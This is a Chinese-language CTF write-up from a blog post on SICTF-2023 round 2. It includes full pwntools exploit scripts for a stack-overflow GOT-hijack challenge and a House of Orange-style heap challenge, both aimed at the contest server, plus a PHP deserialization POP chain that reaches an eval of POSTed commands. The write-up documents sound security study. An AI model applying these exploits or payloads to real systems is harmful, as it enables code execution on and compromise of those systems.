首页 > 其他分享 >SICTF-2023 round2

SICTF-2023 round2

时间:2023-09-11 19:11:34浏览次数:46  
标签:bin SICTF libc chunk 2023 x00 round2 public size

前言

又是挺长一段时间没有打ctf了,各种原因,要过一段时间才会继续上强度学安全吧QAQ。这个SICTF是被朋友拉过来打的,看了一下,还是挺有意思的。下面记录下题目,以及复习到的一些知识点吧。笔者真的是脑子不好使了

签到Shop

很简单的签到题目,算是一个整型溢出的类型。

Different_gadget

明显的栈溢出,利用read函数结束残留的寄存器状态,输入栈上的libc地址

image-20230910121051766

第一次输入的时候写入‘/bin/sh’字符串,再利用init函数中的setbuf,劫持got表,修改setbuf函数为system函数,leave_ret 指令迁移栈,执行构造的后门函数

image-20230910121401086

其中注意init函数执行的时候,要注意新开辟的栈地址可写。exp如下

from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./111"
remote_libc = ""
ip_port = "210.44.151.51:10304"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)

debug(p,'no-tmux',0x00000000004011F3)
# padding = b"/bin/sh\x00" + p64(0x40117E) + b"/bin/sh\x00"
padding = b"/bin/sh\x00" + p64(0x40117E)+ b"/bin/sh\x00"
write = 0x00000000004011CE
rbp = 0x000000000040115d
read = 0x00000000004011DD
ru("Hello!!!")
# payload1 = flat([padding,b'/bin/sh\x00',0x404040,write])
payload1 = flat({
	0x0:[padding,b"deadbeef",0x404040,write,0,0,0,0,0,0,b'/bin/sh\x00']
	},length = (0xb0-1),filler = b"\x00")
# payload1 = flat([b'/bin/sh\x00',padding,0x404020 + 0x20,write])
sl(payload1)
info1 = recv_libc()
info2 = recv_libc()
# info3 = recv_libc()
# info4 = recv_libc()
# info5 = recv_libc()
# info6 = recv_libc()
binsh = info2 - 0x148
print(hex(binsh))
libc_base = info1 -0x29e40
print(hex(libc_base))
rbp = 0x000000000040115d
rsp = 0x0401208
leave_ret = 0x00000000004011fd
ret = 0x000000000040101a
# system = libc_base + search_og(1)
system = libc_base + libc.sym.system + 4
read = libc_base + libc.sym.read
stdin = libc_base + libc.sym._IO_2_1_stdin_
payload2 = flat([system,read,0,0,binsh+0x60,rsp,stdin,rbp,binsh,leave_ret])
# pause()
sl(payload2)

itr()

image-20230910122400650

baby_heap

怎么说这道题目呢,感觉不是那么难,但是还是被卡住了。关键还是笔者铸币,一直想着怎么用orange来打这道题目,忽视了unsortedbin 和spirit的结合利用,chunk_size段和chunk_ptr段前后相连还是能轻松构造出指定size的chunk。回归题目,先看一眼题目的逻辑。常规的增改查函数,没有删除函数

  • add ----最多申请32chunk,申请size最大不超过0x1000字节。

image-20230911183310623

  • change ----修改chunk中的内容,修改的size大小不限制,可以溢出。

image-20230911183419372

  • show ----仅显示chunk中的前8字节内容,也就是这个地方无法泄露heap段地址,把orange的路堵上了。

image-20230911183501234

主要思路:

  • 先随意申请16个chunk,再申请0x111和0x1大小的两个chunk,构造chunk size段的fake size。
  • 再修改top chunk前一个chunk(A),溢出篡改top chunk的size(注意页对齐)。
  • 申请字节大于top chunk size将top chunk放入unsorted bin中。
  • 再次修改chunk A,溢出窜改top chunk 的bk字段为chunk_ptr-0x18的位置。
  • 申请0x100大小的chunk,获取存储chunk指针段地址的write权限意会一下,不知道怎么表达更清楚一些。
  • 后面就是常规的修改chunk指针为got表来泄露libc,打ogg。

exp如下:

from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./baby_heap"
remote_libc = "./libc-2.23.so"
ip_port = "210.44.151.51:10304"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)

def cmd(choice):
	sla(">\n",str(choice))

def add(size,content):
	cmd(1)
	sla("Size :\n",str(size))
	sa("Content :\n",content)

def change(index,content):
	cmd(2)
	sla("Index :\n",str(index))
	sla("Size :\n",str(len(content)))
	sa("Content :\n",content)

def show(index):
	cmd(3)
	sla("Index :\n",str(index))

debug(p,'no-tmux',0x00000000004014AA)

chunk_ptr = 0x4040E0
fake_chunk = chunk_ptr - 0x18

for i in range(16):
    add(0x100,b"a")

add(0x111,b"a") #chunk 16
add(0x1,b"a") #chunk 17

change(17,flat([0,0,0,0xdc1]))
add(0x1000,b"a")
pause()
change(17,flat([0,0,0,0x141,b"deadbeef",fake_chunk]))
add(0x100,flat([0,elf.got.malloc]))
show(0)
libc.address = recv_libc() - libc.sym.malloc
one = libc.address + search_og(3)
# one = libc.address + 0xf1247 #0xf1147 0xf0897 0xef9f4
change(0,flat([one]))
cmd(1)
pause()
sl(b"0x80")
itr()

image-20230911183909353

  • 总结
  • heap题目中没有给free的题目,多半是要用orange的技巧,通过申请超过top chunk size来将top chunk 放入unsorted bin中。
  • unsorted bin不仅仅是只有篡改target->fd为arena的地址,也能像tcache中的TSU++技巧一样,把伪造的chunk链入bin中再申请出来
  • 注意bss段上存储的chunk size字段,可以构造size来做一个fake chunk。本题有一个关键点就是存储的chunk size都是逐字节存入的,多出来的字节会被直接截断,另外任意大小chunk的申请方式让我们能够轻松构造出想要的fake size。
  • 参考文章

[SICTF 2023 #Round2] Crypto,PWN,Reverse_石氏是时试的博客-CSDN博客

我全都要

一道简单的php反序列化。

<?php
highlight_file(__FILE__);

class B{
    public $pop;
    public $i;
    public $nogame;

    public function __destruct()
    {
        if(preg_match("/233333333/",$this->pop)){
            echo "这是一道签到题,不能让新生一直做不出来遭受打击";
        }
    }

    public function game(){
        echo "扣1送地狱火";
        if ($this->i = "1"){
            echo '<img src=\'R.jpg\'>';
            $this->nogame->love();
        }
    }

    public function __clone(){
        echo "必须执行";
        eval($_POST["cmd"]);
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
        echo "I also want to fall in love";
        if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
            $this->Aec->game();
        }
    }


}


class P{
    public $MyLover;
    public function __call($name, $arguments)
    {
        echo "有对象我会在这打CTF???看我克隆一个对象!";
        if ($name != "game") {
            echo "打游戏去,别想着对象了";
            $this->MyLover = clone new B;
        }
    }


}


if ($_GET["A_B_C"]){
    $poc=$_GET["A_B_C"];
    unserialize($poc);
}

要rce,需要执行B类中的clone魔术方法,需要用到P类中的call进行调用。那么调用call魔术方法就需要引用P类里面的方法名不为game,因此需要嵌套B类中的game方法来执行nogame。能够调用game方法的仅有A中的toString,所以需要B类中的destruct进行正则匹配,将对象转化为字符串来触发toString函数。

序列化poc如下,另外cmd参数post传命令,即可获得flag

$P = new P();
$B2 = new B();
$B2->i = "1";
$B2->nogame = $P;
$A = new A();
$A->girl = 'QNKCDZO';
$A->boy = 's878926199a';
$A->Aec = $B2;
$B = new B();
$B->pop = $A;

echo serialize($B);

执行命令,根目录下获得flag

image-20230910122256132

标签:bin,SICTF,libc,chunk,2023,x00,round2,public,size
From: https://www.cnblogs.com/Tw0YY/p/17694253.html

相关文章

  • IDEA2023.2以上版本没有“添加框架支持”(Add Framework Support)选项解决办法
    问题:IDEA升级2023.2以上版本后,想创建JavaWeb项目,无法在“新建项目”后,通过鼠标右键“添加框架支持”(AddFrameworkSupport)的方式添加Web支持。 解决办法:选中模块,双击shift(或“帮助”菜单-->查找),选择操作,中文版搜索“添加框架支持”,英文版搜索“AddFrameworkSupport”,即可......
  • 浅谈Apache Shiro CVE-2023-22602
    一、漏洞描述  ApacheShiro是一个可执行身份验证、授权、加密和会话管理的Java安全框架。  由于1.11.0及之前版本的Shiro只兼容Spring的ant-style路径匹配模式(patternmatching),且2.6及之后版本的SpringBoot将SpringMVC处理请求的路径匹配模式从AntPathMat......
  • 2023年,祝你有个好习惯!
    为什么要养一个好习惯?很多事情都是需要时间熬出来的。学习新技术,换新的工作岗位都面临着许多新的知识来学习。如果是那种有明确答案的,我们还可以通过跟专家学而快速习得,问题在于,我们面临的大多数问题都是那种没有明确答案的,或者说,这个明确答案需要我们自己给出的。这就需要具有持续......
  • 都2023年了,别再用ifconfig啦! 试试这个吧!
    下午好,我的网工朋友。ifconfig这玩意儿,还有多少人在用?举个手看看总在说ifconfig即将被淘汰,但其实很多网工还在用吧。比如说组合使用诸如ifconfig、route、arp和netstat等命令行工具(来源于安装包net-tools)来配置网络功能,解决网络故障。net-tools起源于BSD的TCP/IP工具箱,后来成为老版......
  • 2023年9月DAMA-CDGA/CDGP数据治理认证哪好?
    DAMA认证为数据管理专业人士提供职业目标晋升规划,彰显了职业发展里程碑及发展阶梯定义,帮助数据管理从业人士获得企业数字化转型战略下的必备职业能力,促进开展工作实践应用及实际问题解决,形成企业所需的新数字经济下的核心职业竞争能力。DAMA是数据管理方面的认证,帮助数据从业者提升......
  • 2023年9月NPDP产品经理国际认证报名哪靠谱些?
    产品经理国际资格认证NPDP是新产品开发方面的认证,集理论、方法与实践为一体的全方位的知识体系,为公司组织层级进行规划、决策、执行提供良好的方法体系支撑。 【认证机构】 产品开发与管理协会(PDMA)成立于1979年,是全球范围内产品开发与管理专业人士最杰出的倡导者,协助个人、企业或......
  • 2023年9月CSPM-3国标项目管理中级认证报名,哪有?
    CSPM-3中级项目管理专业人员评价,是中国标准化协会(全国项目管理标准化技术委员会秘书处),面向社会开展项目管理专业人员能力的等级证书。旨在构建多层次从业人员培养培训体系,建立健全人才职业能力评价和激励机制的要求,培养我国项目管理领域复合型人才。  【证书含金量】 ·竞聘优先......
  • 2023年下半年杭州/深圳软考(中/高级)认证报名,去哪?
    软考是全国计算机技术与软件专业技术资格(水平)考试(简称软考)项目,是由国家人力资源和社会保障部、工业和信息化部共同组织的国家级考试,既属于国家职业资格考试,又是职称资格考试。 系统集成项目管理工程师,属于软考三个级别中的“中级”。信息系统项目管理师,属于软考三个级别中的“高级......
  • 2023年9月深圳CPDA数据分析师认证到弘博创新
    CPDA数据分析师认证是大数据方面的认证,助力数据分析人员打下扎实的数据分析基础知识功底,为入门数据分析保驾护航。帮助数据分析人员掌握系统化的数据分析思维和方法论,提升工作效率和决策能力,遇到问题能够举一反三,为大部分决策难题提供解决方案。帮助数据分析人员掌握几种通用的数据......
  • 【2023-09-08】梳理怨气
    20:00路沾蔬草白,天气转青高。叶下和秋吹,惊看两鬓毛。养羞因野鸟,为客讶蓬高。火急收田种,晨昏莫辞劳。                                                 ——唐·元稹《白......